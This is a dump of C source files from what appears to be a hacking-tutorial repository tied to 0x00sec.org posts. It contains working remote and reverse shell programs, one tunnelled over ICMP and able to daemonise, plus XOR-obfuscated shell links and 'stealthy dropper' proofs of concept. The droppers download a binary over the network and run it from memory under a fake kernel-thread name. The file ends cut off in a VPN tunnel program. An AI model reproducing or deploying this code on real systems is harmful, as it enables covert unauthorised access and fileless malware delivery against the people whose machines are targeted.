(PKT)); // Read IP + ICMP header 116 | if ((pkt.icmp.type == icmp_type) && 117 | (ntohs(pkt.icmp.un.echo.id) == id)) 118 | { 119 | len = ntohs (pkt.len); 120 | memcpy (buf, (char*)pkt.data, len); 121 | return len; 122 | } 123 | 124 | return 0; 125 | } 126 | 127 | int 128 | net_write_icmp (int s, void *buf, size_t count) 129 | { 130 | PKT_TX *pkt; 131 | struct icmphdr *icmp = (struct icmphdr*) &pkt; 132 | int len; 133 | 134 | pkt = malloc (sizeof (PKT_TX) + count); 135 | icmp = (struct icmphdr*) pkt; 136 | pkt->len = htons(count); 137 | memcpy ((unsigned char*)pkt + sizeof(PKT_TX), buf, count); 138 | 139 | len = count + sizeof(int); 140 | len += sizeof (struct icmphdr); 141 | 142 | /* Build an ICMP Packet */ 143 | icmp->type = icmp_type; 144 | icmp->code = 0; 145 | icmp->un.echo.id = htons(id); 146 | icmp->un.echo.sequence = htons(5); 147 | icmp->checksum = 0; 148 | icmp->checksum = icmp_cksum ((char*)icmp, len); 149 | 150 | sendto (s, pkt, len, 0, 151 | (struct sockaddr*) &dest, 152 | sizeof (struct sockaddr_in)); 153 | free (pkt); 154 | return len; 155 | } 156 | 157 | /************************************************************/ 158 | 159 | int 160 | start_shell (int s) 161 | { 162 | char *name[3] ; 163 | 164 | #ifdef VERBOSE 165 | printf ("+ Starting shell\n"); 166 | #endif 167 | dup2 (s, 0); 168 | dup2 (s, 1); 169 | dup2 (s, 2); 170 | 171 | #ifdef _ANDROID 172 | name[0] = "/system/bin/sh"; 173 | #else 174 | name[0] = "/bin/sh"; 175 | #endif 176 | name[1] = "-i"; 177 | name[2] = NULL; 178 | execv (name[0], name ); 179 | exit (EXIT_FAILURE); 180 | 181 | return 0; 182 | } 183 | 184 | 185 | void 186 | async_read (int s, int s1) 187 | { 188 | fd_set rfds; 189 | struct timeval tv; 190 | int max = s > s1 ? s : s1; 191 | int len, r; 192 | char buffer[BUF_SIZE]; 193 | 194 | max++; 195 | 196 | while (1) 197 | { 198 | FD_ZERO(&rfds); 199 | FD_SET(s,&rfds); 200 | FD_SET(s1,&rfds); 201 | 202 | /* Time out. */ 203 | tv.tv_sec = 1; 204 | tv.tv_usec = 0; 205 | 206 | if ((r = select (max, &rfds, NULL, NULL, &tv)) < 0) 207 | { 208 | perror ("select:"); 209 | exit (EXIT_FAILURE); 210 | } 211 | else if (r > 0) /* If there is data to process */ 212 | { 213 | if (FD_ISSET(s, &rfds)) 214 | { 215 | memset (buffer, 0, BUF_SIZE); 216 | if ((len = net_read (s, buffer, BUF_SIZE)) == 0) continue; 217 | write (s1, buffer, len); 218 | } 219 | if (FD_ISSET(s1, &rfds)) 220 | { 221 | memset (buffer, 0, BUF_SIZE); 222 | if ((len = read (s1, buffer, BUF_SIZE)) <= 0) exit (EXIT_FAILURE); 223 | 224 | net_write (s, buffer, len); 225 | } 226 | } 227 | } 228 | } 229 | 230 | void 231 | secure_shell (int s) 232 | { 233 | pid_t pid; 234 | int sp[2]; 235 | 236 | /* Create a socketpair to talk to the child process */ 237 | if ((socketpair (AF_UNIX, SOCK_STREAM, 0, sp)) < 0) 238 | { 239 | perror ("socketpair:"); 240 | exit (1); 241 | } 242 | 243 | /* Fork a shell */ 244 | if ((pid = fork ()) < 0) 245 | { 246 | perror ("fork:"); 247 | exit (1); 248 | } 249 | else 250 | if (!pid) /* Child Process */ 251 | { 252 | close (sp[1]); 253 | close (s); 254 | 255 | start_shell (sp[0]); 256 | /* This function will never return */ 257 | } 258 | 259 | /* At this point we are the father process */ 260 | close (sp[0]); 261 | #ifdef VERBOSE 262 | printf ("+ Starting async read loop\n"); 263 | #endif 264 | net_write (s, "iRS v0.1\n", 9); 265 | async_read (s, sp[1]); 266 | 267 | } 268 | 269 | 270 | 271 | 272 | int 273 | main (int argc, char *argv[]) 274 | { 275 | int i =1; 276 | /* FIXME: Check command-line arguments */ 277 | /* Go daemon ()*/ 278 | 279 | net_read = net_read_icmp; 280 | net_write = net_write_icmp; 281 | 282 | if (argv[i][0] == 'd') 283 | { 284 | i++; 285 | daemon (0,0); 286 | } 287 | 288 | if (argv[i][0] == 's') 289 | secure_shell (raw_init (argv[i+1], IPPROTO_ICMP)); 290 | else if (argv[i][0] == 'c') 291 | async_read (raw_init (argv[i+1], IPPROTO_ICMP), 0); 292 | 293 | return 0; 294 | } 295 | 296 | -------------------------------------------------------------------------------- /remote_shell/rs1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00pf/0x00sec_code/7e270627583fca9d51c1606f52dc1259ab1a49e0/remote_shell/rs1 -------------------------------------------------------------------------------- /remote_shell/rs1.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | Remote Shells 4 | Copyright (c) 2016 picoFlamingo 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | 20 | /************************************************************* 21 | Read the post at 0x00sec.org 22 | 23 | https://0x00sec.org/t/remote-shells-part-i/269 24 | **********************************************************************/ 25 | 26 | #include 27 | #include 28 | 29 | #include 30 | 31 | #include 32 | #include 33 | 34 | int 35 | server_init (int port) 36 | { 37 | int s, s1; 38 | socklen_t clen; 39 | struct sockaddr_in serv, client; 40 | 41 | if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0) 42 | { 43 | perror ("socket:"); 44 | exit (EXIT_FAILURE); 45 | } 46 | 47 | serv.sin_family = AF_INET; 48 | serv.sin_port = htons(port); 49 | serv.sin_addr.s_addr = htonl(INADDR_ANY); 50 | 51 | if ((bind (s, (struct sockaddr *)&serv, 52 | sizeof(struct sockaddr_in))) < 0) 53 | { 54 | perror ("bind:"); 55 | exit (EXIT_FAILURE); 56 | } 57 | 58 | if ((listen (s, 10)) < 0) 59 | { 60 | perror ("listen:"); 61 | exit (EXIT_FAILURE); 62 | } 63 | clen = sizeof(struct sockaddr_in); 64 | if ((s1 = accept (s, (struct sockaddr *) &client, 65 | &clen)) < 0) 66 | { 67 | perror ("accept:"); 68 | exit (EXIT_FAILURE); 69 | } 70 | 71 | return s1; 72 | 73 | } 74 | 75 | int 76 | client_init (char *ip, int port) 77 | { 78 | int s; 79 | struct sockaddr_in serv; 80 | 81 | printf ("+ Connecting to %s:%d\n", ip, port); 82 | 83 | if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0) 84 | { 85 | perror ("socket:"); 86 | exit (EXIT_FAILURE); 87 | } 88 | 89 | serv.sin_family = AF_INET; 90 | serv.sin_port = htons(port); 91 | serv.sin_addr.s_addr = inet_addr(ip); 92 | 93 | if (connect (s, (struct sockaddr *) &serv, sizeof(serv)) < 0) 94 | { 95 | perror("connect:"); 96 | exit (EXIT_FAILURE); 97 | } 98 | 99 | return s; 100 | } 101 | 102 | int 103 | start_shell (int s) 104 | { 105 | char *name[3] ; 106 | 107 | 108 | dup2 (s, 0); 109 | dup2 (s, 1); 110 | dup2 (s, 2); 111 | 112 | name[0] = "/bin/sh"; 113 | name[1] = "-i"; 114 | name[2] = NULL; 115 | execv (name[0], name ); 116 | exit (1); 117 | 118 | return 0; 119 | } 120 | 121 | int 122 | main (int argc, char *argv[]) 123 | { 124 | /* FIXME: Check command-line arguments */ 125 | if (argv[1][0] == 'c') 126 | start_shell (client_init (argv[2], atoi(argv[3]))); 127 | else 128 | start_shell (server_init (atoi(argv[2]))); 129 | 130 | 131 | return 0; 132 | } 133 | -------------------------------------------------------------------------------- /remote_shell/rss: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00pf/0x00sec_code/7e270627583fca9d51c1606f52dc1259ab1a49e0/remote_shell/rss -------------------------------------------------------------------------------- /remote_shell/rss.c: -------------------------------------------------------------------------------- 1 | /* 2 | Remote Shells 3 | Copyright (c) 2016 picoFlamingo 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | */ 18 | 19 | /************************************************************* 20 | Read the post at 0x00sec.org 21 | 22 | https://0x00sec.org/t/remote-shells-part-ii-crypt-your-link/306 23 | **********************************************************************/ 24 | #include 25 | #include 26 | #include 27 | 28 | #include 29 | 30 | #include 31 | #include 32 | 33 | #include 34 | #include 35 | #include 36 | 37 | int 38 | server_init (int port) 39 | { 40 | int s, s1; 41 | socklen_t clen; 42 | struct sockaddr_in serv, client; 43 | 44 | if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0) 45 | { 46 | perror ("socket:"); 47 | exit (EXIT_FAILURE); 48 | } 49 | 50 | serv.sin_family = AF_INET; 51 | serv.sin_port = htons(port); 52 | serv.sin_addr.s_addr = htonl(INADDR_ANY); 53 | 54 | if ((bind (s, (struct sockaddr *)&serv, 55 | sizeof(struct sockaddr_in))) < 0) 56 | { 57 | perror ("bind:"); 58 | exit (EXIT_FAILURE); 59 | } 60 | 61 | if ((listen (s, 10)) < 0) 62 | { 63 | perror ("listen:"); 64 | exit (EXIT_FAILURE); 65 | } 66 | clen = sizeof(struct sockaddr_in); 67 | if ((s1 = accept (s, (struct sockaddr *) &client, 68 | &clen)) < 0) 69 | { 70 | perror ("accept:"); 71 | exit (EXIT_FAILURE); 72 | } 73 | 74 | return s1; 75 | 76 | } 77 | 78 | int 79 | client_init (char *ip, int port) 80 | { 81 | int s; 82 | struct sockaddr_in serv; 83 | 84 | printf ("+ Connecting to %s:%d\n", ip, port); 85 | 86 | if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0) 87 | { 88 | perror ("socket:"); 89 | exit (EXIT_FAILURE); 90 | } 91 | 92 | serv.sin_family = AF_INET; 93 | serv.sin_port = htons(port); 94 | serv.sin_addr.s_addr = inet_addr(ip); 95 | 96 | if (connect (s, (struct sockaddr *) &serv, sizeof(serv)) < 0) 97 | { 98 | perror("connect:"); 99 | exit (EXIT_FAILURE); 100 | } 101 | 102 | return s; 103 | } 104 | 105 | 106 | int 107 | start_shell (int s) 108 | { 109 | char *name[3] ; 110 | 111 | printf ("+ Starting shell\n"); 112 | dup2 (s, 0); 113 | dup2 (s, 1); 114 | dup2 (s, 2); 115 | 116 | name[0] = "/bin/sh"; 117 | name[1] = "-i"; 118 | name[2] = NULL; 119 | execv (name[0], name ); 120 | exit (1); 121 | 122 | return 0; 123 | } 124 | 125 | 126 | void 127 | async_read (int s, int s1) 128 | { 129 | fd_set rfds; 130 | struct timeval tv; 131 | int max = s > s1 ? s : s1; 132 | int len, r; 133 | char buffer[1024]; 134 | 135 | max++; 136 | while (1) 137 | { 138 | FD_ZERO(&rfds); 139 | FD_SET(s,&rfds); 140 | FD_SET(s1,&rfds); 141 | 142 | /* Time out. */ 143 | tv.tv_sec = 1; 144 | tv.tv_usec = 0; 145 | 146 | if ((r = select (max, &rfds, NULL, NULL, &tv)) < 0) 147 | { 148 | perror ("select:"); 149 | exit (EXIT_FAILURE); 150 | } 151 | else if (r > 0) /* If there is data to process */ 152 | { 153 | if (FD_ISSET(s, &rfds)) 154 | { 155 | memset (buffer, 0, 1024); 156 | if ((len = read (s, buffer, 1024)) <= 0) exit (1); 157 | memfrob (buffer, len); 158 | 159 | write (s1, buffer, len); 160 | } 161 | if (FD_ISSET(s1, &rfds)) 162 | { 163 | memset (buffer, 0, 1024); 164 | if ((len = read (s1, buffer, 1024)) <= 0) exit (1); 165 | 166 | memfrob (buffer, len); 167 | write (s, buffer, len); 168 | } 169 | } 170 | } 171 | } 172 | 173 | void 174 | secure_shell (int s) 175 | { 176 | pid_t pid; 177 | int sp[2]; 178 | 179 | /* Create a socketpair to talk to the child process */ 180 | if ((socketpair (AF_UNIX, SOCK_STREAM, 0, sp)) < 0) 181 | { 182 | perror ("socketpair:"); 183 | exit (1); 184 | } 185 | 186 | /* Fork a shell */ 187 | if ((pid = fork ()) < 0) 188 | { 189 | perror ("fork:"); 190 | exit (1); 191 | } 192 | else 193 | if (!pid) /* Child Process */ 194 | { 195 | close (sp[1]); 196 | close (s); 197 | 198 | start_shell (sp[0]); 199 | /* This function will never return */ 200 | } 201 | 202 | /* At this point we are the father process */ 203 | close (sp[0]); 204 | 205 | printf ("+ Starting async read loop\n"); 206 | async_read (s, sp[1]); 207 | 208 | } 209 | 210 | 211 | 212 | 213 | int 214 | main (int argc, char *argv[]) 215 | { 216 | /* FIXME: Check command-line arguments */ 217 | if (argv[1][0] == 'c') 218 | secure_shell (client_init (argv[2], atoi(argv[3]))); 219 | else if (argv[1][0] == 's') 220 | secure_shell (server_init (atoi(argv[2]))); 221 | else if (argv[1][0] == 'a') 222 | async_read (client_init (argv[2], atoi(argv[3])), 0); 223 | else if (argv[1][0] == 'b') 224 | async_read (server_init (atoi(argv[2])), 0); 225 | 226 | 227 | return 0; 228 | } 229 | -------------------------------------------------------------------------------- /remote_shell/rss1.c: -------------------------------------------------------------------------------- 1 | /* 2 | Remote Shells 3 | Copyright (c) 2016 picoFlamingo 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | */ 18 | 19 | /************************************************************* 20 | Read the post at 0x00sec.org 21 | https://0x00sec.org/t/remote-shells-part-iii-shell-access-your-phone/508 22 | 23 | **********************************************************************/ 24 | #include 25 | #include 26 | #include 27 | 28 | #include 29 | 30 | #include 31 | #include 32 | 33 | #include 34 | #include 35 | #include 36 | 37 | /* Helper functions */ 38 | #define KEY_LEN 8 39 | static unsigned char *p ="\x32\x56\x12\xF3\xD2\x5B\x0e\xdc\0"; 40 | 41 | void* 42 | my_memfrob (void *d, size_t n) 43 | { 44 | int i; 45 | unsigned char *s = (unsigned char*) d; 46 | 47 | for (i = 0; i < n; i++) s[i] ^= p[i % KEY_LEN]; 48 | return s; 49 | } 50 | 51 | /* Network code*/ 52 | int 53 | server_init (int port) 54 | { 55 | socklen_t clen; 56 | struct sockaddr_in serv, client; 57 | int s, s1; 58 | int ops =1; 59 | 60 | if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0) 61 | { 62 | perror ("socket:"); 63 | exit (EXIT_FAILURE); 64 | } 65 | 66 | /* Gracefully deal with TIME_WAIT state */ 67 | setsockopt (s, SOL_SOCKET, SO_REUSEADDR, &ops, sizeof(ops)); 68 | 69 | serv.sin_family = AF_INET; 70 | serv.sin_port = htons(port); 71 | serv.sin_addr.s_addr = htonl(INADDR_ANY); 72 | 73 | if ((bind (s, (struct sockaddr *)&serv, 74 | sizeof(struct sockaddr_in))) < 0) 75 | { 76 | perror ("bind:"); 77 | exit (EXIT_FAILURE); 78 | } 79 | 80 | if ((listen (s, 10)) < 0) 81 | { 82 | perror ("listen:"); 83 | exit (EXIT_FAILURE); 84 | } 85 | clen = sizeof(struct sockaddr_in); 86 | if ((s1 = accept (s, (struct sockaddr *) &client, 87 | &clen)) < 0) 88 | { 89 | perror ("accept:"); 90 | exit (EXIT_FAILURE); 91 | } 92 | 93 | return s1; 94 | 95 | } 96 | 97 | int 98 | client_init (char *ip, int port) 99 | { 100 | int s; 101 | struct sockaddr_in serv; 102 | 103 | #ifdef VERBOSE 104 | printf ("+ Connecting to %s:%d\n", ip, port); 105 | #endif 106 | if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0) 107 | { 108 | perror ("socket:"); 109 | exit (EXIT_FAILURE); 110 | } 111 | 112 | serv.sin_family = AF_INET; 113 | serv.sin_port = htons(port); 114 | serv.sin_addr.s_addr = inet_addr(ip); 115 | 116 | if (connect (s, (struct sockaddr *) &serv, sizeof(serv)) < 0) 117 | { 118 | perror("connect:"); 119 | exit (EXIT_FAILURE); 120 | } 121 | 122 | return s; 123 | } 124 | 125 | 126 | int 127 | start_shell (int s) 128 | { 129 | char *name[3] ; 130 | 131 | #ifdef VERBOSE 132 | printf ("+ Starting shell\n"); 133 | #endif 134 | dup2 (s, 0); 135 | dup2 (s, 1); 136 | dup2 (s, 2); 137 | 138 | #ifdef _ANDROID 139 | name[0] = "/system/bin/sh"; 140 | #else 141 | name[0] = "/bin/sh"; 142 | #endif 143 | name[1] = "-i"; 144 | name[2] = NULL; 145 | execv (name[0], name ); 146 | exit (EXIT_FAILURE); 147 | 148 | return 0; 149 | } 150 | 151 | 152 | void 153 | async_read (int s, int s1) 154 | { 155 | fd_set rfds; 156 | struct timeval tv; 157 | int max = s > s1 ? s : s1; 158 | int len, r; 159 | char buffer[1024]; 160 | 161 | max++; 162 | while (1) 163 | { 164 | FD_ZERO(&rfds); 165 | FD_SET(s,&rfds); 166 | FD_SET(s1,&rfds); 167 | 168 | /* Time out. */ 169 | tv.tv_sec = 1; 170 | tv.tv_usec = 0; 171 | 172 | if ((r = select (max, &rfds, NULL, NULL, &tv)) < 0) 173 | { 174 | perror ("select:"); 175 | exit (EXIT_FAILURE); 176 | } 177 | else if (r > 0) /* If there is data to process */ 178 | { 179 | if (FD_ISSET(s, &rfds)) 180 | { 181 | memset (buffer, 0, 1024); 182 | if ((len = read (s, buffer, 1024)) <= 0) exit (EXIT_FAILURE); 183 | my_memfrob (buffer, len); 184 | 185 | write (s1, buffer, len); 186 | } 187 | if (FD_ISSET(s1, &rfds)) 188 | { 189 | memset (buffer, 0, 1024); 190 | if ((len = read (s1, buffer, 1024)) <= 0) exit (EXIT_FAILURE); 191 | 192 | my_memfrob (buffer, len); 193 | write (s, buffer, len); 194 | } 195 | } 196 | } 197 | } 198 | 199 | void 200 | secure_shell (int s) 201 | { 202 | pid_t pid; 203 | int sp[2]; 204 | 205 | /* Create a socketpair to talk to the child process */ 206 | if ((socketpair (AF_UNIX, SOCK_STREAM, 0, sp)) < 0) 207 | { 208 | perror ("socketpair:"); 209 | exit (1); 210 | } 211 | 212 | /* Fork a shell */ 213 | if ((pid = fork ()) < 0) 214 | { 215 | perror ("fork:"); 216 | exit (1); 217 | } 218 | else 219 | if (!pid) /* Child Process */ 220 | { 221 | close (sp[1]); 222 | close (s); 223 | 224 | start_shell (sp[0]); 225 | /* This function will never return */ 226 | } 227 | 228 | /* At this point we are the father process */ 229 | close (sp[0]); 230 | #ifdef VERBOSE 231 | printf ("+ Starting async read loop\n"); 232 | #endif 233 | async_read (s, sp[1]); 234 | 235 | } 236 | 237 | 238 | 239 | 240 | int 241 | main (int argc, char *argv[]) 242 | { 243 | int i =1; 244 | /* FIXME: Check command-line arguments */ 245 | /* Go daemon ()*/ 246 | 247 | if (argv[i][0] == 'd') 248 | { 249 | i++; 250 | daemon (0,0); 251 | } 252 | if (argv[i][0] == 'c') 253 | secure_shell (client_init (argv[i+1], atoi(argv[i+2]))); 254 | else if (argv[i][0] == 'a') 255 | async_read (client_init (argv[i+1], atoi(argv[i+2])), 0); 256 | if (argv[i][0] == 's') 257 | secure_shell (server_init (atoi(argv[i+1]))); 258 | else if (argv[i][0] == 'b') 259 | async_read (server_init (atoi(argv[i+1])), 0); 260 | 261 | 262 | return 0; 263 | } 264 | -------------------------------------------------------------------------------- /sdropper/Makefile: -------------------------------------------------------------------------------- 1 | all:poc-alt poc-net 2 | 3 | poc-alt: poc-alt.c 4 | ${CC} -o $@ $< -lrt 5 | 6 | poc-net: poc-net.c 7 | ${CC} -o $@ $< 8 | 9 | .PHONY: 10 | clean: 11 | rm -f poc-alt poc-net 12 | -------------------------------------------------------------------------------- /sdropper/poc-alt.c: -------------------------------------------------------------------------------- 1 | /* 2 | SDropper - Stealthy Dropper n 3 | Copyright (c) 2017 pico 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | */ 18 | 19 | #include 20 | #include 21 | 22 | #include 23 | 24 | #include 25 | #include 26 | #include 27 | #include 28 | 29 | // shm_open 30 | #include 31 | #include 32 | #include 33 | 34 | #define BUF_SIZE 1024 35 | 36 | extern char **environ; 37 | int 38 | my_fexecve (int fd, char **arg, char **env) 39 | { 40 | char fname[1024]; 41 | snprintf (fname, 1024, "/proc/%d/fd/%d", getpid(), fd); 42 | execve (fname, arg, env); 43 | return 0; 44 | } 45 | 46 | int 47 | main (int argc, char **argv) 48 | { 49 | int fd, s, n; 50 | unsigned long addr = 0x0100007f11110002; 51 | char *args[2]= {"[kworker/u!0]", NULL}; 52 | char buf[1024]; 53 | 54 | // Connect 55 | if ((s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) exit (1); 56 | if (connect (s, (struct sockaddr*)&addr, 16) < 0) exit (1); 57 | 58 | //unlink ("/dev/shm/a"); 59 | if ((fd = shm_open("a", O_RDWR | O_CREAT, S_IRWXU)) < 0) exit (1); 60 | 61 | while (1) 62 | { 63 | if ((n = read (s, buf, BUF_SIZE) ) <= 0) break; 64 | write (fd, buf, n); 65 | if (n < BUF_SIZE) break; 66 | } 67 | close (s); 68 | close (fd); 69 | 70 | if ((fd = shm_open("a", O_RDONLY, 0)) < 0) exit (1); 71 | //if (fexecve (fd, args, environ) < 0) exit (1); 72 | 73 | pid_t cpid = fork(); 74 | if (cpid == 0) 75 | { 76 | setsid (); 77 | if (my_fexecve (fd, args, environ) < 0) exit (1); 78 | } 79 | exit (0); 80 | 81 | return 0; 82 | 83 | } 84 | // cat /usr/bin/xterm | nc -l $((0x1111)) 85 | // gcc -o poc-alt poc-alt.c -lrt 86 | -------------------------------------------------------------------------------- /sdropper/poc-net.c: -------------------------------------------------------------------------------- 1 | /* 2 | SDropper - Stealthy Dropper n 3 | Copyright (c) 2017 pico 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | */ 18 | 19 | #include 20 | #include 21 | 22 | #include 23 | 24 | #include 25 | #include 26 | #include 27 | #include 28 | 29 | // memfd_open Syscall not defined 30 | // Got index from http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ 31 | #define __NR_memfd_create 319 32 | #define MFD_CLOEXEC 1 33 | #define BUF_SIZE 1024 34 | 35 | static inline int memfd_create(const char *name, unsigned int flags) { 36 | return syscall(__NR_memfd_create, name, flags); 37 | } 38 | 39 | extern char **environ; 40 | 41 | int 42 | main (int argc, char **argv) 43 | { 44 | int fd, s, n; 45 | unsigned long addr = 0x0100007f11110002; // localhost:1111 46 | char *args[2]= {"[kworker/u!0]", NULL}; 47 | char buf[1024]; 48 | 49 | // Connect 50 | if ((s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) exit (1); 51 | if (connect (s, (struct sockaddr*)&addr, 16) < 0) exit (1); 52 | if ((fd = memfd_create("a", MFD_CLOEXEC)) < 0) exit (1); 53 | 54 | while (1) 55 | { 56 | if ((n = read (s, buf, BUF_SIZE) ) <= 0) break; 57 | write (fd, buf, n); 58 | if (n < BUF_SIZE) break; 59 | } 60 | close (s); 61 | 62 | pid_t cpid = fork(); 63 | if (cpid == 0){ 64 | setsid(); 65 | if (fexecve (fd, args, environ) < 0) exit (1); 66 | } 67 | exit(0); 68 | 69 | return 0; 70 | 71 | } 72 | // cat /usr/bin/xterm | nc -l $((0x1111)) 73 | -------------------------------------------------------------------------------- /vpn/Makefile: -------------------------------------------------------------------------------- 1 | all: vpn 2 | 3 | vpn: vpn.c 4 | ${CC} ${CFLAGS} -o $@ $< 5 | 6 | .PHONY: 7 | clean: 8 | rm vpn 9 | -------------------------------------------------------------------------------- /vpn/vpn.c: -------------------------------------------------------------------------------- 1 | /* 2 | VPNs. tun tunnels 3 | Copyright (c) 2017 pico 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | */ 18 | 19 | 20 | #include 21 | #include 22 | #include 23 | 24 | #include 25 | 26 | #include 27 | #include 28 | 29 | #include 30 | #include 31 | #include 32 | 33 | /* *** Tunnels from kernel **************************************/ 34 | #include 35 | #include 36 | #include 37 | 38 | #include 39 | #include 40 | 41 | /* From Kernel Documentation/networking/tuntap.txt*/ 42 | #define BUF_SIZE 1800 // Default MTU is 1500 43 | 44 | int 45 | tun_alloc (char *dev) 46 | { 47 | struct ifreq ifr; 48 | int fd, err; 49 | 50 | if( (fd = open("/dev/net/tun", O_RDWR)) < 0 ) 51 | { 52 | perror ("open(tun):"); 53 | return -1; 54 | } 55 | 56 | memset(&ifr, 0, sizeof(ifr)); 57 | 58 | /* Flags: IFF_TUN - TUN device (no Ethernet headers) 59 | * IFF_TAP - TAP device 60 | * 61 | * IFF_NO_PI - Do not provide packet information 62 | */ 63 | ifr.ifr_flags = IFF_TUN; 64 | if( *dev ) 65 | strncpy(ifr.ifr_name, dev, IFNAMSIZ); 66 | 67 | if( (err = ioctl(fd, TUNSETIFF, (void *) &ifr)) < 0 ){ 68 | close(fd); 69 | return err; 70 | } 71 | strcpy(dev, ifr.ifr_name); 72 | return fd; 73 | } 74 | 75 | 76 | /* read 1 packet from the tunnel */ 77 | /* XXX: buf has to be at least BUF_SIZE. 78 | * This function blocks until the whole packet is read 79 | */ 80 | int 81 | read_pkt (int fd, char *buf) 82 | { 83 | uint16_t len; 84 | int n, pending; 85 | 86 | // Read Pkt size 87 | if ((read (fd, &len, sizeof (len))) < 0) 88 | { 89 | perror ("read_pkt(size):"); 90 | exit (1); 91 | } 92 | len = ntohs (len); 93 | pending = len; 94 | while (pending > 0) 95 | { 96 | if ((n = read (fd, buf, pending)) < 0) 97 | { 98 | perror ("read_pkt(data):"); 99 | return 0; 100 | } 101 | pending -= n; 102 | buf += n; 103 | } 104 | return len; 105 | } 106 | 107 | int 108 | write_pkt (int fd, char *buf, uint16_t len) 109 | { 110 | uint16_t n; 111 | // Write Packet size 112 | n = htons (len); 113 | if ((write (fd, &n, sizeof(n))) < 0) 114 | { 115 | perror ("write_pkt(size):"); 116 | exit (1); 117 | } 118 | if ((write (fd, buf, len)) < 0) 119 | { 120 | perror ("write_pkt(size):"); 121 | exit (1); 122 | } 123 | return 0; 124 | } 125 | 126 | /* *** EOC *********************************************/ 127 | int 128 | server_init (int port) 129 | { 130 | int s, s1, val; 131 | socklen_t clen; 132 | struct sockaddr_in serv, client; 133 | 134 | if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0) 135 | { 136 | perror ("socket:"); 137 | exit (EXIT_FAILURE); 138 | } 139 | if (setsockopt (s, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) < 0) 140 | { 141 | perror("setsockopt:"); 142 | exit(1); 143 | } 144 | serv.sin_family = AF_INET; 145 | serv.sin_port = htons(port); 146 | serv.sin_addr.s_addr = htonl(INADDR_ANY); 147 | 148 | if ((bind (s, (struct sockaddr *)&serv, 149 | sizeof(struct sockaddr_in))) < 0) 150 | { 151 | perror ("bind:"); 152 | exit (EXIT_FAILURE); 153 | } 154 | 155 | if ((listen (s, 10)) < 0) 156 | { 157 | perror ("listen:"); 158 | exit (EXIT_FAILURE); 159 | } 160 | clen = sizeof(struct sockaddr_in); 161 | if ((s1 = accept (s, (struct sockaddr *) &client, 162 | &clen)) < 0) 163 | { 164 | perror ("accept:"); 165 | exit (EXIT_FAILURE); 166 | } 167 | fprintf (stderr, "Connection received...\n"); 168 | return s1; 169 | 170 | } 171 | 172 | int 173 | client_init (char *ip, int port) 174 | { 175 | int s; 176 | struct sockaddr_in serv; 177 | 178 | printf ("+ Connecting to %s:%d\n", ip, port); 179 | 180 | if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0) 181 | { 182 | perror ("socket:"); 183 | exit (EXIT_FAILURE); 184 | } 185 | 186 | serv.sin_family = AF_INET; 187 | serv.sin_port = htons(port); 188 | serv.sin_addr.s_addr = inet_addr(ip); 189 | 190 | if (connect (s, (struct sockaddr *) &serv, sizeof(serv)) < 0) 191 | { 192 | perror("connect:"); 193 | exit (EXIT_FAILURE); 194 | } 195 | fprintf (stderr, "connected...\n"); 196 | return s; 197 | } 198 | 199 